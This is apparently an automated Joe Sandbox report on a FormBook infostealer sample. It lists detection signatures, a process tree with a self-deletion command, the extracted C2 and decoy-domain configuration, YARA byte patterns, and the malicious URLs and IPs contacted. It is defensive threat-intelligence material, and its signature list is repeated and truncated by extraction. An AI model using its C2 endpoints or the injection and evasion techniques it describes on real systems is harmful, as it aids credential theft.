
ID: 491948
Sample Name:
PRICE_REQUEST_QUOTATION.exe
Cookbook: default.jbs
Time: 08:02:30
Date: 28/09/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report PRICE_REQUEST_QUOTATION.exe…

Overview

General Information

Sample 
Name:

PRICE_REQUEST_QUOT
ATION.exe

Analysis ID: 491948

MD5: 85589170af713a0…

SHA1: 4e0b9dfd13dd6e4…

SHA256: dae6ba220bb0a3…

Tags: exe xloader

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a Initial sample is a PE file and has a ……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / Contains functionality to shutdown / ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data fContains functionality for read data f……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

PRICE_REQUEST_QUOTATION.exe (PID: 3952 cmdline: 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe'  MD5: 85589170AF713A03CA622F94429C634A)

PRICE_REQUEST_QUOTATION.exe (PID: 4684 cmdline: 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe'  MD5: 85589170AF713A03CA622F94429C634A)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

autoconv.exe (PID: 4484 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 4506BE56787EDCD771A351C10B5AE3B7)

wscript.exe (PID: 4960 cmdline: C:\Windows\SysWOW64\wscript.exe MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 4860 cmdline: /c del 'C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.nudesalon.digital/rgoe/"

  ],

  "decoy": [

    "iamstevekelsey.com",

    "homesofchaparralcountryclub.com",

    "voiceyupcom.com",

    "searchengineeye.com",

    "charsantosart.com",

    "baila.madrid",

    "yota.store",

    "halloweenbaldhills.net",

    "futurodr.com",

    "centercodebase.com",

    "666b20.xyz",

    "4-6-2.com",

    "gspotworld.com",

    "rbb78.com",

    "1kingbet.com",

    "hzhongon.com",

    "dossierinc.com",

    "sustainablefoodfactory.com",

    "golfsol.art",

    "socialenterprisestudio.com",

    "sec-app.pro",

    "mrcsclass.com",

    "apseymarine.com",

    "restate.club",

    "thenewtocsin.com",

    "mingwotech.com",

    "llesman.com",

    "limiteditionft.com",

    "ff4c3dgsp.xyz",

    "travuleaf.com",

    "whatsaauction.com",

    "iktbn-c01.com",

    "dpcqkw.xyz",

    "mahoyaku-exhibition.com",

    "bimcell-tlyuklemezamani.com",

    "thejegroupllc.com",

    "limponomefacil.com",

    "bordandoartes.com",

    "parsvivid.com",

    "lowkeymastery.com",

    "missionsafegame.com",

    "estanciasanpablo.online",

    "overlandshare.com",

    "thevillageplumbers.com",

    "newhollandpurpose.com",

    "eastmillnorthandover.com",

    "patrickandmaxine.com",

    "appleluis.host",

    "immerseinagro.com",

    "vapkey.net",

    "babeshotnud.com",

    "rap8b55d.com",

    "afro-occidentstyle.com",

    "shahjahantravel.com",

    "toptaxxi.store",

    "adronesview.com",

    "kinesio-leman.com",

    "teelandcompany.com",

    "bycracky.com",

    "sehatbersama.store",

    "snackithalal.com",

    "nailsestetic.space",

    "vanmetrecco.com",

    "pondokbali.store"

  ]

}

Source Rule Description Author Strings

00000003.00000002.340994927.0000000000910000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 24



Sigma Overview

00000003.00000002.340994927.0000000000910000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000003.00000002.340994927.0000000000910000.00000
040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x16ac9:$sqlite3step: 68 34 1C 7B E1
0x16bdc:$sqlite3step: 68 34 1C 7B E1
0x16af8:$sqlite3text: 68 38 2A 90 C5
0x16c1d:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

00000006.00000000.300226054.0000000006D3
3000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000006.00000000.300226054.0000000006D3
3000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x46c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x41b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Click to see the 25 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

0.2.PRICE_REQUEST_QUOTATION.exe.e7d0000.
1.raw.unpack

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

0.2.PRICE_REQUEST_QUOTATION.exe.e7d0000.
1.raw.unpack

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

0.2.PRICE_REQUEST_QUOTATION.exe.e7d0000.
1.raw.unpack

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x16ac9:$sqlite3step: 68 34 1C 7B E1
0x16bdc:$sqlite3step: 68 34 1C 7B E1
0x16af8:$sqlite3text: 68 38 2A 90 C5
0x16c1d:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

3.2.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

3.2.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x7818:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7bb2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x138c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x133b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b3f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1262c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9342:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 13 entries

Unpacked PEs
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No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Data Obfuscation:

Detected unpacking (changes PE section rights)

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Copyright Joe Security LLC 2021 Page 7 of 24



Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Virtualization/Sandbox
Evasion 2

Input
Capture 1

Security Software
Discovery 2 2 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Process
Injection 6 1 2

LSASS
Memory

Virtualization/Sandbox
Evasion 2

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Deobfuscate/Decode
Files or Information 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Clipboard
Data 1

Automated
Exfiltration

Non-
Application
Layer
Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 2

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software
Packing 1 1

LSA
Secrets

File and Directory
Discovery 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common File Deletion 1 Cached
Domain
Credentials

System Information
Discovery 1 3

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

Behavior Graph
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Behavior Graph

ID: 491948

Sample: PRICE_REQUEST_QUOTATION.exe

Startdate: 28/09/2021

Architecture: WINDOWS

Score: 100

www.thenewtocsin.com parkingpage.namecheap.com

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
7 other signatures

PRICE_REQUEST_QUOTATION.exe

17

        started       

C:\Users\user\AppData\Local\...\akepwc.dll, PE32

dropped

Detected unpacking (changes
PE section rights)

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

PRICE_REQUEST_QUOTATION.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.babeshotnud.com

185.107.56.60, 49783, 80

NFORCENL

Netherlands

nailsestetic.space

109.106.246.165, 49781, 80

NETNET-ASRS

Serbia

12 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

wscript.exe

        started       

autoconv.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

PRICE_REQUEST_QUOTATION.exe 34% Virustotal Browse

PRICE_REQUEST_QUOTATION.exe 29% ReversingLabs Win32.Trojan.Nsisx

PRICE_REQUEST_QUOTATION.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\nsi8CF7.tmp\akepwc.dll 13% ReversingLabs

Source Detection Scanner Label Link Download

0.2.PRICE_REQUEST_QUOTATION.exe.e7d0000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

0.0.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

3.2.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

3.1.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

17.2.wscript.exe.c28870.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

17.2.wscript.exe.516796c.4.unpack 100% Avira TR/Patched.Ren.Gen Download File

3.0.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

0.2.PRICE_REQUEST_QUOTATION.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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https://www.virustotal.com/gui/file/dae6ba220bb0a34de731b57965753391343bfe96f9f3fa4fea48102d3377ccf7/detection/f-dae6ba220bb0a34de731b57965753391343bfe96f9f3fa4fea48102d3377ccf7-1632797987


Source Detection Scanner Label Link

nailsestetic.space 2% Virustotal Browse

www.futurodr.com 0% Virustotal Browse

Source Detection Scanner Label Link

www.nailsestetic.space/rgoe/?3fph-
P=ZkUnxSwgwNnUgDqrCPM5+5YAySuzXTkvHqygzq17wwh0dYOczX0iNUUGI1Jd50TOWJnd&p64=N4I
h-Va0GVIpc

100% Avira URL Cloud malware

www.futurodr.com/rgoe/?3fph-
P=3YB68aNSooiMKLzi5nxxGSNHrBeWjD32XiQQxa052IhpgozgdHof2Vdu69obQAjF9Cm4&p64=N4Ih-
Va0GVIpc

0% Avira URL Cloud safe

www.babeshotnud.com/rgoe/?3fph-
P=qAwo4FjRYg+cFYJClRGUgNSCxZXIn1VUyos+fUau4Qj4+ntS0isf6UMASXIJ1Ag59Aks&p64=N4Ih-
Va0GVIpc

0% Avira URL Cloud safe

www.nudesalon.digital/rgoe/ 0% Avira URL Cloud safe

www.patrickandmaxine.com/rgoe/?3fph-
P=SDpSJcP09/DC8lpI6cAq3FUJJvXeBm+eY5pmIe7zBfPan+ozXFgSpcvx3IOXLkDu19py&p64=N4Ih-
Va0GVIpc

0% Avira URL Cloud safe

survey-smiles.com 0% Avira URL Cloud safe

www.teelandcompany.com/rgoe/?3fph-
P=mDrA6fi9xoCJEIFZWb9JZI5ban60MroB6V8+OTFSy0K1Nt6g1YYxY5Is4mN6psbbGTdM&p64=N4Ih-
Va0GVIpc

0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

nailsestetic.space 109.106.246.165 true true 2%, Virustotal, Browse unknown

www.futurodr.com 154.208.173.139 true true 0%, Virustotal, Browse unknown

www.babeshotnud.com 185.107.56.60 true true unknown

td-balancer-euw2-6-109.wixdns.net 35.246.6.109 true false unknown

parkingpage.namecheap.com 198.54.117.212 true false high

teelandcompany.com 34.102.136.180 true false unknown

www.thenewtocsin.com unknown unknown true unknown

www.4-6-2.com unknown unknown true unknown

www.snackithalal.com unknown unknown true unknown

www.nailsestetic.space unknown unknown true unknown

www.appleluis.host unknown unknown true unknown

www.teelandcompany.com unknown unknown true unknown

www.patrickandmaxine.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.nailsestetic.space/rgoe/?3fph-
P=ZkUnxSwgwNnUgDqrCPM5+5YAySuzXTkvHqygzq17wwh0dYOczX0iNUUGI1Jd50TOWJn
d&p64=N4Ih-Va0GVIpc

true Avira URL Cloud: malware unknown

www.futurodr.com/rgoe/?3fph-
P=3YB68aNSooiMKLzi5nxxGSNHrBeWjD32XiQQxa052IhpgozgdHof2Vdu69obQAjF9Cm4&p6
4=N4Ih-Va0GVIpc

true Avira URL Cloud: safe unknown

www.babeshotnud.com/rgoe/?3fph-
P=qAwo4FjRYg+cFYJClRGUgNSCxZXIn1VUyos+fUau4Qj4+ntS0isf6UMASXIJ1Ag59Aks&p6
4=N4Ih-Va0GVIpc

true Avira URL Cloud: safe unknown

www.nudesalon.digital/rgoe/ true Avira URL Cloud: safe low

www.patrickandmaxine.com/rgoe/?3fph-
P=SDpSJcP09/DC8lpI6cAq3FUJJvXeBm+eY5pmIe7zBfPan+ozXFgSpcvx3IOXLkDu19py&p6
4=N4Ih-Va0GVIpc

false Avira URL Cloud: safe unknown

www.teelandcompany.com/rgoe/?3fph-
P=mDrA6fi9xoCJEIFZWb9JZI5ban60MroB6V8+OTFSy0K1Nt6g1YYxY5Is4mN6psbbGTdM&p
64=N4Ih-Va0GVIpc

false Avira URL Cloud: safe unknown

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/010aaf8228202e0bee45b47f49d42e7e5f5e04e3b900b2bcebc5ef95964f689f/detection/u-010aaf8228202e0bee45b47f49d42e7e5f5e04e3b900b2bcebc5ef95964f689f-1632761419
https://www.virustotal.com/gui/url/1967032075e5baa9868afce3f28394de80115ed3a1d5fc3e29615e743c80163e/detection/u-1967032075e5baa9868afce3f28394de80115ed3a1d5fc3e29615e743c80163e-1552378175
https://www.virustotal.com/gui/url/010aaf8228202e0bee45b47f49d42e7e5f5e04e3b900b2bcebc5ef95964f689f/detection/u-010aaf8228202e0bee45b47f49d42e7e5f5e04e3b900b2bcebc5ef95964f689f-1632761419
https://www.virustotal.com/gui/url/1967032075e5baa9868afce3f28394de80115ed3a1d5fc3e29615e743c80163e/detection/u-1967032075e5baa9868afce3f28394de80115ed3a1d5fc3e29615e743c80163e-1552378175


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 491948

Start date: 28.09.2021

Start time: 08:02:30

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 7s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: PRICE_REQUEST_QUOTATION.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

27

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@8/2@9/5

EGA Information: Failed

HDC Information: Successful, ratio: 25.1% (good quality ratio 15.9%)
Quality average: 51.6%
Quality standard deviation: 43%

HCA Information: Successful, ratio: 83%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

IP Domain Country Flag ASN ASN Name Malicious

35.246.6.109 td-balancer-euw2-6-
109.wixdns.net

United States 15169 GOOGLEUS false

154.208.173.139 www.futurodr.com Seychelles 40065 CNSERVERSUS true

185.107.56.60 www.babeshotnud.com Netherlands 43350 NFORCENL true

34.102.136.180 teelandcompany.com United States 15169 GOOGLEUS false

109.106.246.165 nailsestetic.space Serbia 199493 NETNET-ASRS true

No simulations

Contacted IPs

Public

Show All

Simulations

Behavior and APIs
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Match Associated Sample Name / URL SHA 256 Detection Link Context

185.107.56.60 gRd8HGFpL7.exe Get hash malicious Browse  www.pxwuo
.com/kgw/?
8pBp5p=Kjb
uJJdeVq7di
M0Fg7aQkrQ
XEwOw5P1Ee
EOzKgXGIrF
UAWFa+z+/H
o4yN0BUW6o
eKdMTmJKWl
w==&LXPL=y
vqlQXkhnxm
xPrbP

5j6RsnL8zx.exe Get hash malicious Browse  www.tomat
rader.com/
8rg4/?Txlp
=osi+A10z8
